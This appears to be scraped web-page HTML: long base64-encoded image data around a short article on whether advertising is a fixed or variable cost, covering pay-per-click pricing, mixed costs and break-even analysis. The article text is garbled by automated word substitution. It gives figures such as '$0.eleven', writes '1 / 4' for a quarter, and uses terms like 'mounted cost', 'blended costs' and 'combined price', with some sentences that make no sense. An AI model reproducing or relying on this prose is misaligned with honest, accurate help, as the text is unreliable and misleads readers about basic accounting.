z8PzGGmK1R3U2TEzE2hKVKBcWsBO0CwCSeLi4H3Ww7QqZTq947nhVWGlsIaHiuqaKgEgcJ\/CxPmSTgd4RbbUppr099hap0QQnQ4oJQhe\/4OLHd5+fp27YRVfNNFoS71Or02nqas4oS5jTJSD2J3qHHGE1LoMGiyC9HL5WUqT9a6pY5KSTz\/FH5n1wgzDkLKWbZKZVeyrQ63LQEhL1RprEhwBJukblpJsDyBfjA7wjDSs4uqHSTTLI2m2YYeTdUJ+a83uyodXFBcWy+xJYakuKd938FnaXE7nDYuEC1rAqTdPlHWfTiXkmhVH9P6fld9iEw3Nokx51AkeHGcZ2+EG3EyI7hS0fBQEEL3qUSpIGDjqnSLonVWy27pjlxkKQG7xI6oxCRawBaUkjsO1v5cVxWPZo9PFVDqmsmzaUt0g7qbW5baUWPO1KlqSL9jwe\/Fsbd4JMymylnQbP5baCzUy\/qlkSP1OLzhmLLis4ZMYlynl0moeCtUzchaWg7vT4aiFrSs8Wug24ti7NcNdunPVihQmJuiFYyxUBDcapFUy3MgxHGd9ikqaZUltwXIUEuAnv2CicEvP8AZV6MPPJcp0vMtIWAeEzGZCCfIlLrRBt6djhFmX2cGXREpqndQKvMgU1TbYhVGjxHGXWi6LtKDPhfCpRTcj4uO\/lgnS5BaVm2GhTgsm5VAnsuvlCg\/DbXYSFKCLggbSU7jtvccXNibfPBFdKmZNDMo+9RNVtOpedU1FKSutOKR4NOKTwwyzvQVbgSpbxWDwAEWTdRS5v9mNmCTmj32j5ryi1SlOJJhu0N6Mvaki6AW1KT+yPiG21z5AYrbU7oG1vdnTZlOo9CrtPdO9uFTa0Y8lDaSAlpQdsggp7BJNiAbg9yMxdQQd0Gm6TX01Uqh1bJeoWY4LLUZ+lTW2mmUrQ0qlwXnXVjw96HQCEBCbFJKvD23FyRWvVflSnZYzxTJMeMaearCU7PphkJfXHkpWpJWVD\/AGRGxXPe1+TfEtyroh1M6C59n5uyvpVWqIxJZU25TqE8zUGFNoCSAtBW4V8jcL\/Fu3bSLkYqPUbLmtGombGpNS0yzLCkLR4MaGzl52O2Bcg7UpbShNzfgAD0Hmd2Ah++8FYuGKrKm3Tb0h5o6j6T9J0vU3K+W4TMlcd6nz6k6uostpISHRGRb4FEkIJUL7ThV1LaL576Hc90hEHNcnMVGrlPvGrsyIQ0txCz4sfYpbgCkfArg8pWPQ4pRenNWp9DiVKrU2ZT1qQvxGJMF1tbLNx4bqnFJCU7lkhKQSeL+VsSCFp3mWdl5EyoS5DGUXlR3QtiauqtB11AU0ksMlS0OkKH2kJBsobucBvbfSkWyhVZUerXUDqPUEFL2cZgRtsUxShASPvCeO3lg\/ujXorg616DU\/OGp9ezw\/IzC89JRS268uNFkQgQllxxsI3HeEqIJVynaRa+A+yt0m6hZor0hWWcm1aqtRXy21ORT3kRVniy9j6AqydyCRY8nkWBOC8ydod1iVCosJl5vrVKhRXm1xHqnmxuO02lFwN0dpp1RulROwgAWAIO0WB8jAPcC1jZZso5NG9Dsk6DUaZTMjUpykRpziHpS3Zz8t19aUbElS3VqPCeABYD0xLKgEirUnz5kf8AwsUBpNpZ1F0Oux5Oe9daZXKS08HXKbDy0wtx5IV+qL6kNlKSkWJSm9ySLYviprtWKQB5qkD\/ANyf6sKPdhOxjNBfqfGkGemR70fdFNFHuZbFgu4O8K79uLdsNE9+RAfmRAWnGlSnJKFWcQtBX8VrocF7XxIad+qb+\/Eer\/8Aro\/+H\/FGObEcJmblJV1Z9LZUb8C3Eh8f6T5YRqr7rhUbOJUgnlMp4Xub2+32x8e\/UK\/7+uGxP+G+\/G9lYDhdnszupWqwfSLk2RLdFr+Q+Lt6emEkvOL97n3oXPZE1xOG+R9tWG2Z2H3n+nFbit2i0+vZ9fafttklN9xT76vafl93yxxRqM6xvQG5iwLfrJ6ldvLtiNzP1\/4YQufrHfuGLDirLQpcdRnW21KCJ3J5\/d5\/5uFULUt2M7u93kP7022vzCtI+YG3viBO\/qD9+O6PtN\/cMXZyh8FYLOsTiX0J+ik2uP8ADn1\/i45UjVhVNpMKL9F+IW2ko8QSSm\/zttOK+b\/vlP8A38zj6n9Wx\/FTiISFZqtYjt5pAPn\/AHx\/1ccW9Y1FS70nm4taT\/1MV6r7B\/H+fHFv7S\/w\/nwPRF4Kw3taSgKvSCbekq3\/ACMdRrJscA+iVm\/BPvQ\/5mKtldl\/j\/RhQr9cn78CjVnJ1osQDSVm5\/8Axf8A2eFR1nASD9EL\/wDa\/wDs8VQPtI+\/+rCtX6sYrqhICstvWTfb96Vi9v8A7X\/2eElW1Z3xlfva4Bbt71\/1MQBj9j8P5seKl\/eyvuH9GDUSLK+qppOoFck\/Ry3fGZYTt95Cdu3f57DfvixRroCncaM4Sf8Abo\/6P54Hyn\/+WNS\/823\/AMrEtT+qH3f1YMi1bPhVpu68pbUP3kcUD6zh\/wBHhO7r+ltQT9ArI7\/39\/2eKtk90\/ecIpX6wfccDQRWrab6hA8sD6AUkH\/boP8Ao8df7PQWvw\/oNQ7i\/vg\/6PFMxP1ifv8A6cK2\/wC+R95xCENlWuNfiQP3jVybf35\/2ePqteOAPoM23FNvfP8As8VEnsn+MP5zjorsP45xdYVElW2jXMLUsfQhFv8Abf8A1MIsyay+LSXU\/RBF3GjxK9HUH+B8sVuz+tc\/D+cY81\/\/AFsX\/Hb\/AOOnFBUVM6ln+lVSrTJ71EnpkukBwsVx9pKttgk7EgJBFu4H8+Oa840eWAV0SoBQWVBSa7ISUnm9rdr3PHzOIUf1kj+Mf58dWPs\/74\/zYMOPiqICmpzXRlrQ6KPVEG4JSjMEkAkX7j+f1sL4lzetV29v0S4AD2994\/4mKkR+rT\/39cLWfsn7\/wCjB2SqAAVlq1nblqLbtELiAQra5KCxccg2LduMJ2dXIER9MhnLEdiRZP1zLjaF8Dan4g1fgXA9BwOMVzH\/AFy8c1\/ZT9yf58CVas5eu\/iAqXRnHOL\/ABzr\/wA7ePi9eEIR\/rEq2639+j\/o8VR\/g1fxceHvsf7\/ABAqJyrOl9RSYa9v6PKXdW3+\/gPK\/wDsWFWUNXzqDm6kRk0o0\/wmZUgqMnxd3wBNrbE273vijax+vT\/H\/wCScSzQf\/y9g\/7hl\/8AIwD8AomZeAv\/2Q==\"\/><\/p>\n<p>Promoting bills can be categorised as variable costs when their incurrence immediately correlates with the amount of a selected exercise, such as clicks, leads, or sales. Pay-per-click (PPC) campaigns are a prime instance; the enterprise pays a charge every time a user clicks on an commercial. The complete promoting value will increase because the number of clicks rises, often ranging from roughly $0.eleven to $0.50 per click for many industries. Certain advertising budgets, whereas initially appearing fixed, can also operate in a semi-variable manner. A firm would possibly allocate a set amount for advertising for 1 \/ 4, but this finances can be increased or decreased mid-period based mostly on sales forecasts, market response, or marketing campaign efficiency.<\/p>\n<p>This dual strategy maximizes value throughout economic cycles, turning each dollar into measurable impact in your customers. However, blended costs even have drawbacks, corresponding to problem in forecasting and budgeting errors. Therefore, businesses should pay attention to the potential pitfalls when coping with blended prices. To calculate a mixed price, one must first determine the fixed and variable elements and add them together. A mounted cost is an expense that doesn&#8217;t change regardless of the stage of goods or providers a enterprise produces.<\/p>\n<p>The distinction additionally plays a big position in break-even analysis, a device used to determine the gross sales quantity needed to cover all prices. Fixed advertising costs contribute to the whole fixed bills that should be lined earlier than a revenue is generated, while variable advertising prices affect the per-unit cost. This analysis helps companies perceive the gross sales threshold required for his or her promoting efforts to turn into worthwhile. Examples embrace raw materials for manufacturing or gross sales commissions paid per unit offered. These expenses rise as manufacturing increases and fall as production decreases. A utility invoice, with a fixed monthly service charge plus a variable charge primarily based on consumption, exemplifies a combined price.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width=\"400px\" alt=\"is advertising a fixed or variable cost\" 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ypzIGI0jJxu2t3c\/wBQ\/AaObHoDManOIpM5DXU6SkkNBxKmwnptFSfPwNgnsdzoXuO7LPn0Kw7emwJD1LiSGlz4pZCQ4I8QpSAQcLHUUnY+mdWUC\/7U5XIFSt5x5xpKI7MsNp5ihC1BonByMoABwe+dEgx+P0H5Vxrx+4UPjiq+0CLq85Ifp8qirjQ2pL0N9PTK\/C4VoKQpJ8xuo47jG489JL2VD9nWHU6w\/A96VTW3UkBfKT033Ns+Wjmff9mPzFssUqoMlDX3bynCrovjIyBzHyJ8vPS+4LXbQbKotx0d9mfJaXXprbiYjW\/Q5gW1+PHfmJx38PbT0mKmIa58L2npVn0Q2BgunAjzTZ4JMKasgwHobaFU+fLYKUu5A+9Lg8vRwb+eNENxdWPHE5EDnXAc63KASXBjCkj+5n9NA\/D24qLSpt1R2buLUJyrN+6okDpPPoEVvLmOnsD9O2j1m5qXVZTcOJdMlUlCSro9bxZ3wMYB7An00NvFXM\/TMLyR\/jQ+JUmJpNhw+K+sNOqIkUljLDoDnTAIQ5kZyk\/kJ2+H+Oqi56V\/FNOepLjTjElHiaUtHjZc7ZI80HcHyIPftr7FdqNJnqpCKpNhx2j1WFuPrwY684HfbCwR8By661SXCqKlPKuJ9lAa+7camnmaI2Lie\/c\/lOQfro8OPkl9qFw86+6E4NYdHBKbh3DeuXhw7YqZAYrVuSnGG3Q5\/JfbdUpl0eeN8H4Zz31RcSatPq1vWpdUlj3SfR7jbi1BnfLL5y04nHzII+BGq61q1VbW4nXlMp7vvciI+iWltJwJ8ZzPMMd85BI+ePTVZxruyNPjsXfT5jbEKrux1y2gDh9bBDjT2O4cT0y2fUEemjNlOUittFxc0mk\/V0aa+hCx4RyjHMceWha\/IDsOgPe9lHIVsYA7fzm9Vc\/iTUnEsSWJAdQ42FjyGCM57+h0FXrfNeqFHDEl1spclxGQEtgDeS3j66MJHOaCgNdZWn4kamoIS9Ocx8HNWkdqhNgkLWs\/94T\/AIDQyy4XG\/AeQjzA1KQmQs8q5C0hO2xO+rizzRcoq6RQkUNKub3bnPpyLP8AjoZua+LQhOT6E6tEeoCmPyWkEttlQ6asFJKj2O3bvqU1EQtJUU8xR5\/P10ifaotGiRqXCvZKXE1MqEBtCAjkdRgnJHfYEjPxGokkcxtgrgADZCb\/AA+4n2tcNLZptEkfaUumRY4qDzba3GkvlsEjq8uCvOTsdGrVyt4CUNeIHtrEvBccQp1Wpsy2LcRUW47oZky5XUTGZRjGXFA450gkjG\/w1r9qPGaV+Pm+ZzjUwvMjczlXNZsK4NwPKc5Go7QHnzKP6amF+SplUh1UdBGdktlXy3J0PrcQwAhteAPzAa\/OzE4HPIWW0eecDV1xJKIm3YTzQW68yVnY4HL+x3GvhepzJCXFhxY8sn\/LVAy4lwZjR3JQI3UjKhn5jUlHvrSg87EbYKsIHXWhrJPYZJ1Ugu5rhop5VDeBWkHbbZs6\/LLKWwgML3O2w30D1fivbdJlqgNzi++290nAz+FB8znzA\/y18\/8AebbalLfn1ZuKz5eEuOK27BI7Z1VzXNoG9fArg69jsjjpJbb8LRVnyVyD66py88ZrgcbQ3LaQDgfypjW+MHyI\/Y\/A6Xs7jFR0VELjuS34COQnDIacUR3zjsO3nvvrzO9oBC2n2aRRJENPTPu77bTfMF4\/GSSex8sb6qGYkkhkR8z\/ALUiSIbuCb1PpTVQeMyG0+sSG0ZSsFIBHqO+Rqy90Q2stdIKV2Ixnf66y+9xcvBqcutwJ88yHOQuMpfKgrAxlKTsTjyxv27jXM8VbwdAbFflqjvtFxtHOVdRB25gfhn6aRxHC+K4o92URjp\/R9VduKw8Y1aStNypcNtJ5ywvkcDZHWB5VnGARnbVJULmoTPWTJdQ37ur7zmQpQHyOO2s5qum50gIp06THfAx\/M5QsY3BP\/W+q6RW6rNjdd2aFtOA9VBcJWn1yPhg5Hw0jJ+DJsQf+RiSR\/epKIOKMaO4xaDcvKwg6lEmow1gkEq91HKkepJ8\/kNRHOKdhMtOIhxluqRktuMNIG48yMD\/AB7aQwjuuI5xsnH4z2x8\/PU2FSalKlRWWWnV9ZwtNcjZAJAJxntnY7Z0eD8E8LhP6zy4+aE\/i2IcO62keVLjPUKjGmwUsNCPIS5GW0qMBhtacFBOTkFB7\/HQzb3Fq84VvRKIzUiw7T0e5rU2EfeBrZJUnGSst8uSMH4nvqNFsisVVlFWpEWQ65j8RPKkjfwKBxjfPfBBz8RqNNtVmhVpuPVJAQ5UB0VJZc5ulJQjICiDjdGRse6RrVbw\/heDAbBE3TwtLHE4iW8zyud1X\/UagKeuqkpfplQbnNSOo4eVSwWnFtqJ2IDh9O3nr47d14SOLFOnLlSBIFBksZT4VttNutkrwO+CAT59zvjRBFo9toLsSXAXKRIZLeHF83fv9dvP6aoKxec88R7JmVGY4XBAqdGPvGCUu\/cq5DnuVcowfPI1SWLDnvNibfWtvD3ro5pBpmKuKr\/HD0FElxmeqnuOFSXmuctKO2Tnt5g\/XQ7PiSJTGUocEqOesyVEfzEZ8J+B7fXRdSbqmIan0RqZIDMCUsstPEke7ueJCAexA5lJHpjHlqPU6a66lp6mxg8oK6zyGms9MHYE+Zz\/AMdaWGxbRUZaB5aJaRri7NZKXF6SFoftepNIKY79QQ25k9z0XFNn6ZUPrqZcj8hFEZQnK1SJDERJO\/dY2H6HUviXRZlOpVPdnuQw5SrthxVtBwqdUw60p1h305VNkDtsQRvqbebDVMhW+6oECPcNOceSnKfusnmTnPpjfQH4xgkeQLsV90YREtbZ0tc4rcur3C1TWYzkj3SLz4aSSQFuJSTgb+m+rSpWXXqY3GuKOlBglxCJqEO4Ja8SklOeyx6djnHmDrqriF0eI1ZrVJjLp7Ed2BS4bcUkOOyCQ84snzwA2TvgYOraqXJULlVUGJ0tb5clGIvqq8JXyJLh\/wDIcfTQXYuVxOQV89FHZtYAFYUnh\/RZNpC56hckYKkD3wxIzXNytEFQWVZ8Z7DlHmSNCnCW26ImRff8TY69PrDfTKHMJAcaSoeo2G2Pjr83KqUCTVreakupTJpy50FGyUl0cyXen5Z\/lqIHmonz1R8PZTi6\/fcd5HiRUoi\/CcpI93H69tAklllcC5yI3RpACZNqV2j02p3JG+y4j7bc5gxVKbG591TnO3bJ1LZ4j1VxTs+SiOz7y51ApbYOEIHK2gHyAAG3x0Aw6nGRMrTNOJW6uaiOcAeFZbSD+gOrpYah5RtyIG2U7gDUBjRuocXE0vN0XVUpSDPdmOFQOXVJOAhjYEDHl22\/4agxXn+mfeFjnX4jjfB8gPptrimB75IWvnfQ2SCQlWyjjZGD6ZyfiRqK0qZT3VMS3ueJH8ClraAU22fwuFQO6PI57d+2rgjmqEA6c0FU5LieL9a5UkokRgkkeWEMqH65Vqq4nUIvCJBSkCBNkSHCg7csj3dw8yfgrAOPUfHRXEg9LiXWoiEoVJfjQ1NoxlRHTIJHp+HVhf1uyHTb0V1XKuTVC22pf4Qssu41Uka0jtIBAKH6K2tu26ShDhWfdG\/HjAIKRt8tD17SBGYpSVqx1KtGJB27ODz0S8PUP1u0mo8GG5Icj87QCBnspQz+xGhLi7DmU5dCYeill5yeSUq74QnJ2+Gu\/Yub7RpN+8faSiUuYim2pAbnAKHvDzuQnHPghvHngdztuPjpvcOLji35b4rakLhurWsKi9ZDqmkZ8HMQNiob8usO1aHXeHN7rgV6nBx+nSQtxt3ZEhgnOUkZ8DiDsR6+o09rJ463HJfhQrVsyiWzbENWVNoS5IdcbHcBxZA5z68md9Uhe8uynUnwRg7rstKOpTEZcHOVKKMpbUQguY8snz0m\/aIu+gVSxpVq0GqxzVnFtOvRH3uVSWgcrQcggL7eHvqvqfFeuynH3YC2G1qaWtC3m+ZLY8hue+s28VHrmlXGut1yZHVOqgEl5th7KSsEDICCeQ7D\/HRcSJIwGlVDg+yE8+AEtqx0VH+MKXPiylvdCIufJ6EBto7ktjsXC4Bk7kgADGmhWeL8ejdSBSocebKaVzyJD+7Rz3DYH4APrrIHDymya7WVfbwkLjtNFwYkFwk5zg57D46czJaajpCGwErQM5yf+u2msAxpZmeNBoNUCeQtADd0y6lx7aMcxqPbLC3+nj3h5BCQvP8AV8xj1PfQpWeJlzXJETAntQ2mwclLTQSHNu2AfL46GZjz7sNmIZK+VjnLY2CU5O\/64GvLIZhRldV1Cncdxv5\/8NazG4ZgzBtn3pKR2If3b0U1Vx3Mltph6vTemwQpllCilIxt2HfXFU2fLymR7y8XD1C47k74+OvgrC3nAiPGJUNipQwdennqkUjqKHKjslJA\/XGrue28zWgfNVAdVEqM3Bfad8b5StXcJ17bhSXFLKlIUkZwfxE6nxaPck12OmHTJDiZOekptoq6mMZ7DbuNEzfCuuGiorExTcVAdLJQ85hTZBxgpB2yex0B+IMdW5Ga0OOyFo4Z6amAskIOe++vI9zZSVSFvqJ3R5DOpsi2VUlxVSrc+OzCdR4Sy5zONrGxDnog7EK+Orqkw6DIjTI7pBABS2cHqtu921Dftscjz8tDOLZVl1rgwA2NEMuNvGM6mGypL5byy4teAD3HbuCQNRY8OTPU0tDPuHva0LeQo8whSF9l7fkc7Hyz8zpjPybbegsSaXS4xfi4aA3AUR3WrHnnP7apZNZqr6ltKYhsP9MtNrLCeQoIHUZUBjnbJAODv5jtpV+JzHMxqI2joSvCLOqyw97m1mYhA+7UpI6hC+ySvHfB+X01Kh0eiQX3pFUnrQmW1zsNwwFK97z+B0nGM4wcajU+7HJ76qNUOrHmR086GnnObmb7ZSrs4gHbPyyAdQp0FqU64h10pMg7+X3gIIcHyIH6aFJPLIAQaXAUaRdFrNh297x7hbb8iqLbL8CS+8A2yeTlcbDZB5yM5GTsTt21wVelbdYCHZ7hQShzCcDK9sH6aoXIbsqE2\/0eSQwsScEb84HjA+nMP011EdEVxaCoqZSsOtLxkdJe\/f4HI\/TQyP3PNlcNRRX2c9WpEp+Y1PcT7wSZDSlkIdXjZW3Zfx3B2yPPVZWWavWaNJpzUMR54SH4ry1AJ67Z5myVZ8AyMZJx4saIEtOvNK6MbJCckunpnHkQPPTBo9pVWTbBRHozi1vobLcr3ksEOBYPM2Nl9sg52389De4clAoe5Li3qvSLmhU6dDmNKcqLTbieTcNuEboJ9QQRjy0uuKoM6bbTtMpstl5cp1SpRI6iW2AC4UjA\/CMq8ztpnQrBrHC2q1Rdt0aFHi9cT6pAdKnBToD6uVM6K4e7aV5bkN7gFIcRjcGVfnC286Rxh4a0Ou+5wzXJ0wRpbEgONJXyJ6mw37KHzzoL5WtaQTtqjxNPaXSGZlO+ypEG7KktiXDQTFmspOR7svHTeVyeQJSof2FLOjRdbkssIZpXTpzHKhK24iFJ6hAAyRnOdh\/lpj2DwQoNFuyt8KLtlGbShAYnUzdLZfhOLUl1tsHx4aWC2e4GW+3Noy4I2haibODMuiCRUKNUp9GekymzzOmNIU0F\/EFCUn4EnQXY6Foo6\/21xhc5Yp4uNrVWqTP662W5NQjNylrQUJDkfqKTkkd+R0\/QaJeN9Fua0LPiXVcduT26bGrEBbqzFWj85PIFLwFkgHTz9t+mU9vhNb6IcKNHa\/jSlB7psgFSD1R5DPnqk9u+hUg8IU1RDbvv8uvQGyVSHOmo8rgGU7oAGx\/56EOIRGQeIRmxENHUJM8JKLPq1oIvCow+ZVYekyWVrXy8q1ufeHB3OMJTn+ydXdCp66xXY85ckCJDLrLSEoy2pazl1wgbrwAlI+Z02b7s2g8PeHUKg2+w5ULnqFKbpdISpzKWHXAEuSwkY8DQWp3J8y2PPTNoNj2Vw1pDNEty3ZdVVDjMRUIbil150oRs4XF4QguElRUT3Pw0s3i0TW0ATah0DnWTos6XPYlSqlGlvKjyYrlOKFRpSYqsR3zkJO\/cHsR5gkHvpZ+z8xVOIPEW\/wCE7E+y\/dyw5K51D7gtlTSh48dikkDvga1ZxGl8RKjTp9LoNmOwIyoxWFloKUSCNgrOBv5jHw1mqw7Zu2P7SPESkqaXEqzhRJksunlCc8rvPkE5HjJPz06ZwY8+jarmhiMgFoUixocWXcVyxIay61GuOelpxTJ5lAcoCsYyBgE9vPTFlcMbrcw4+YcGM8C4ZUqR0khoY37dyTgDGvnAm272qLt6XFRlR2hNrsgSZSy2oDIScZc2Qd84xt56eMuyHq7QRBuOTIlNuLbdWvkDaghG4+8Gxzudh+bWbiuJuglDGkEc+ZVxBmPeSMapVuQJSPf3XVMCP921EKS4V5BBVnGM4OvEuoW6\/VW59NpseK2+37q62sZRyZHTUpJ74cPLn0d37DTqpvs+2MoIly5FRWlay4WhJwMEfhKt14+uryp2DZSqXNpJt5p6NNS43KHMsKU2sYUAryPJ2x2IGm342EMDroeKGIiDQWOKHak9HHSbR+otqa5TI\/2YlxJSRhDqvduYnc8hOO5IT8NXvE23I1CmWrDqNUYkTPt1oPx2OcuNtlh4nJ2AO3bvoxtVqoVr2gq\/bN20xbj7VChxZEhEkguvxm8szGSR4FlBS4FDsvn+OpnGUMqkWdb1Vpwh1dd2tOPSgyG\/tBrouDrpUCcBRcAI8lgjtgkJ4myOQso1\/CYEDrCUvB1o24zcMCn09c52PWJsZJecOEoDvMnIHwc30D+0Bb103BfNl2ZNQI1QrDy0x3FNlpCQtQGfXGx1pDhhTIdr8XuJNHjRkNJFUgVRgbHDUljpqwf+8b0IcdKeio+0XwzkLkLC4cwISEgKx3UT+w0J\/FmBzo428ib91qzYDmJJWTLzYrAvuYqqzI7yWHPd2iy2UtqbB7EHfIJIPxB8tH8C92odOhxVWu7ChtNnmkRkZYayvlSDndfMvvjtkZ0vroRDqU+TVoVcLpddW87FlOr50Fe\/hUfx7eu+2ieyqzIumKu0LgqrbMZacRA8AA07+QkgbI9Sf8dbEcz45c7SghuYZSr2fdlEq9BmQ4zrjbjqQlyPsl14Hv0lEcnOO+FYB9dI+bLXT6ilS1moUtDoAac+6eeRjBBA7EfA400JFn16EqXQp7VMgtrKz7zUJiI7bMhtsq6XVwpAcIBwk4KhjHfSocqUl2rszJrbS1MOtkpI5cgEYznfGukkfM\/M9QGhgoJ7cMqPw2jNRXob0llx1zHRkziHHHCCeUBDSisjGMH0+Wj6PGjPhySy8yqJ1i0103Cog98EHcd8fQ6rLfaZvafDuqJwui0FymSg2Z1tz3oykvob7qjFRI88qaIxlGxGmSTGryIk+p1WVK6nSCFc4edbRjtgKJ05BJ2Q1NDp1Q3NDhaAHYqW3EKCOZvBwk+Z\/wCOjCi8LLkrMVFXjQkModAwHchXT8zgjftqXLqNl0aI0lFOMyYWwol4\/dp7HBxvk7A76+VLjTdcxkR\/eUQkBvkIjZBc8t1HfYdsY0w\/EktqMG0ENF2V0ZsiGw659p1qFT2GgR96S85zg9uVA3PljbXefXLDgU2LGj0JclyM22ESAeXrLyS4SO+MnYemNAjtQkzHC7IdWpTh51keZPfOuWWSoZdyeUkJWd9AIkdRcVIPRNd3i6qVRXoAgobeT9wy020UgNYGEbd+576GXr\/nyKRKo3MWEqPvBUEJHMQBkA47bfPb46rOGa0P3pHkoklIiBxwqSojJ5cYPw0Y3RQKXLrUqo0xlC+dHVkIba2S7zgbj1OPLvpe2ixVqXmm5kuA6JBBc359ik+fw376jsRl00sN07IbWCgAYBZX3CRn8aDnHKdgexGdWj9JdRPVFgMOR1IP4ltF1nn8yQN0fT01e0eh1CdCEudTWzHQVx3Vp+8bORjv5Zz5gaPZDcwFBDL9KpCtEm8sxaU+Ft10NqAzhmQBugg7o5v6qhkH4EHRK9QZ01CeVshJwUrVthfkd\/noro\/DOoVDpuy4cjlQnpJkR2+Zb7WQMqI2ITnO59SO+mdbHD+vMyUx7hoolvNDmHTcbLqm0HHUS2sjnOMbDtoEmJazc0uja9x0Cz3PtqA88qI7UVu16lhEmOhhrkS3k4\/F5tuYU2fT5gHRRaNovXrAdlQWVttturbUy7kvsPo2U2rk3C0nY48sEbEZdD3BThZdtcceauSox6zDKH5DEN4R5UXI25mlp6iEE4yCChWMa7V6E7wdqL172hSX6nQJnTRclMhR1mRhAIE+On87jYOFtDdxsADxtpyjLxJsY7uvom24d7tzSW8HhDdsaU1BqSoiYtTdxFkKUWwysIyW3MZ79wduxBxo6s\/gXEp9UKLjmB12NnoJaH3L8RZwlRz+dP4Skj0OSDprW\/WqDXqNGrdvVONUKbUmRJYlR1BTT7a+ygf29RjB3GotdjVJyDz0twLkRj1onMe68H7rP9oeHHnn1A1iTcYmkNN08AjNwjB7Wqi0\/hDw3pbwdTbzbruSeZ5xS\/8APGPhopBpkP8AA0wB6EAH9dQo7kWZAYmq95IfaQ8EqJPcA48G2deFTYbeeyUn8qUbn5nQpMdM1tuPraIyJgNAIT4oxJlehxbnsqM5LuS1y67GgN7JqkRwcsqnuEjBQ8geDyDiW87E6z\/Vbro92cTuA71NW49a8OTNcp77+Q8wwtLbYhSQDlt6M610sHcgJPcHWqFz0SijolaEtboUGyc\/8tZM9qK2qfZ132nxCoE9tFOrdxhubCYKcxKotAc97aB2y4GhzpOxWnP5jquGxX5hxY460dfdsiNGVwWlbleitVSh1iQVx36VLLLct\/s7HkDpONlQ\/t9I4PfAPfOv1qSEUy67qtsOlBkyUXHGQfJuSOm8B\/uyWXM\/94PXQfc9801VDqnDfiXMhC4KjGdagMW\/1JL8xwDLLiWEcy4z3OAem6QNjhRGcUN53DxEhQaJxwh0H7KpNOjF+ps9ZE2oO0uSlr3xxLKPukdJTbT6Gytw+FztuNAbFPK3X+F2gUj2zjGjcD11SS4EJhV+lSEKVtlYf7D44z++lT7RvEi3+L\/DJ+pWhWHZFHtOUw7PUiC6A\/Pd2Skc4HgaQlSirsVuJAzg6Nvae4dUCVwSfuZc+ZXajPqNPdaqdSnLkqbjuknDAGGm0cmNm0DOl\/HsGiWz7EFtNSygv3ZWaXJnP5wpQfl4GD6hG4z5nT8EDWNY876geXNSDdaaJvWjWarPn0i7p3Du6Z9WrjLRZYQyy0zFp7ASpplKnnkjxOdNxxQ7k+YSNFs2Zx6uSprRSqPa9n0lgFvr1Ke5VZri\/NaWY3TaGNh4nF7g99drKjB2tsQYK1mLQrbhROuo+Jx11xw9vL7plO\/9rR5\/JShoFCEgYAAPbSIkyW0D10UOFnVLW7LZ4wtUBaGeLtGeSEtIeVJtNAU6svNjI6b4AH01mVVGrj\/tR3xDql\/SG1uuOM1aTTYjcPMZEdKnG05DhRkJQnue5z31qjjbeZ4fcL6pdfu7cqRGcjCNFWvAfkF5PTb+RI3+AOsX0yqzaDdHEKt112R9oilSVzFSU8rypj\/hc5x5HqOK2HYADy03h43SMdIQBYrYdURgB0Tl9nrg1YF98LoN13nZ7FXqFVnTXveam86\/zMdYgHpdTp7gdyN9Nl\/g\/alGitwLLqVwWo9IIaYNKqrvQbwMkiI+XI5AA3T0x9NTuCFFj2zwhs6lFjlW1R47jgVsQtwdQg\/+bRIytU2vPSOXlagNe7NfFazl0\/TCU\/rrNfiDZeXXroOXw8kMt1pL+TcPE3h0yuZf9Eh3Tb7SS5IrtuxFsToSAMlyVCzhxA3JcYOR5tnvovte66PeNAg3Va1URVKNUWutFkpBBUjJByCAdiCCCARjREVk+HmJx5Hz0holMmez7xJiw6YM8NL5qBb93J\/+xVh07FOdhHeOE48iQfLctsmFt9oa+f8APp0VQ3kpDbUZn2qXyhaOs7brDn49yjkUlJx6fiGvPtKUp73ayLpjIDz9CueMW2Obl6ofWlOM\/MAfUaq6wWqX7aNOLUcNrqtmoU4ondRbecTjHy1e+0qpKrBiyHHOT3at0qR+ktsf56K6QMmA6tHyRG6kIBrNciUTj5HqtNW2IV4W1yMoU2UqU\/HfJ6ak+TgPUBHfI1U3or7Q9qW0G1nwBtcpCVd0Yjg9vnnVV7ZMV+w7jsjiXSpDiIrlVX7ywrt1RylRHpzI748wDr7QK4bq9q2nrXyPNQKeRHeBz1W1wg4FH4\/eeWjOiaYO2HNn8Lmm78krJn8JXBcsS56G3HjqhOokwh92oKAGwVkEOb5GFDt6aF+LfEK6buuNv+JF0dSozfSiyYNLajK6RP4D0xkgehz++k7BnVWhOL90lrbWk4Wkq5k7ftowodQj1SoJcuaW5FjIZW4JDcLrEEfhBbyO58\/hr00ri4AdUiwZRSNrG40WHRUVCm8S6DVqo89FbgtuxUtcrkcHIaeSvZ8JJBbJ8bf5CNLy77ls2Xen2zTfter0px0uLiz19F1LY\/Cz1RnIHbOOw+una77PsG5LZh1qLdMCS2+2HC5IhhtoDGxyhWUEE750g7yspy1qjUYagtCoTmOVav5mDjIzvuNx8N9WAc0ALjqVoyyvayqt5U6JY9wUG2WIKI4jQXJsFosBwDlaCneUEYRgBRyNgF7HILINg1apJTNoVUj05jkR9oTIpMeRzt7EGMMdPzIzse4yNZ84ScPJN4Uuo3A0\/LXR6YkfaphMmRJgtEk+8dHzaBSQtQzy82TrR9LvuybTZet2n1mgP0rkHur0KWkyFeHIQ8CfG4dvEDjsMDtomXMaeqOAGoQnOfZjvqhqlkPNuEePHMoeSye2+vjVPffcQqNGdkKOSgIbJyACT9e+hm4L8o6L5prNdoFQR1FuOMsR+R157bw5TsOQHuSfX002YM+MzFaqFIpbilRum4FqHhJztuNseWrscXaNCC8losqvZsq5I0SO+Yy2g611crQSOQ57+gxqT9gxkBlcx1tLDSObOQFbeQ9RrtT6jXrirMdqRLMibUXAy2y3uFAnAQBnAHw8tNB32d7hqs1mTMqSWoriQspX4nWj5t8o27eefXQZ8VDBrM+lURuk9hLGS1TaPU4At6e4h0DJaaY3Oc7HBPOO43GjFq1rrrj5TRHylx9vpynEMuYUv1URsPlp3Wbwfo1ssodaie8yQCDIkhIcUN8I8G2Bk40eRadHjNhlvkbCOyUDbWVLxkgFuFiv\/J2gTLMJsXH6pD2\/7OUkla61Ulqa8GEl4jqHG61Yx5\/HTLtXhfRbbaMelLeHUA5gtwuJ9cbnP76N0NsjKsFXz15BJX9yjJ9BrOkx+KmcBI\/To3+Ew2Fjdgqg2XTEk8tNQyrn5utCeMZ3n9coxn6k6+RqDIgF1P2vXJbKwOkzI92V0Fg\/iS6hKXM4ONydWNTqjVLchomJkKEySiKCwyXg0tfYu4\/loPbmO2pwhoyed1ZOew1fPIR3I\/eT\/Sr03YlBkxm5mX